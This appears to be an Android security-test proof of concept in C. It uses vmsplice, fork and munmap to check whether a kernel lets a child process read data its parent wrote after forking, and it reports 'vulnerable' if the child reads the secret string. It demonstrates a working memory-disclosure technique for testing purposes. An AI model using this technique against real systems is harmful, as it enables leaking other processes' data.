/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #if !defined _GNU_SOURCE #define _GNU_SOURCE #endif #include #include #include #include #include #include #include #include #include #include "../includes/common.h" #define SYSCHK(x) \ ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x)) - 1) err(1, "SYSCHK(" #x ")"); \ __res; \ }) static char *data; static int child_fn(void) { int pipe_fds[2]; SYSCHK(pipe(pipe_fds)); struct iovec iov = {.iov_base = data, .iov_len = 0x1000}; SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0)); SYSCHK(munmap(data, 0x1000)); sleep(2); char buf[0x1000]; SYSCHK(read(pipe_fds[0], buf, 0x1000)); printf("read string from child: %s\n", buf); // check if buf has been altered by parent process if (strcmp("BORING DATA", buf) == 0) { return EXIT_SUCCESS; } if (strcmp("THIS IS SECRET", buf) == 0) { return EXIT_VULNERABLE; } return EXIT_FAILURE; } int main(void) { if (posix_memalign((void **)&data, 0x1000, 0x1000)) errx(1, "posix_memalign()"); strcpy(data, "BORING DATA"); pid_t child = SYSCHK(fork()); if (child == 0) { exit(child_fn()); } sleep(1); strcpy(data, "THIS IS SECRET"); int status; SYSCHK(waitpid(child, &status, 0)); printf("child WEXITSTATUS(status) => %d\n", WEXITSTATUS(status)); return WEXITSTATUS(status); }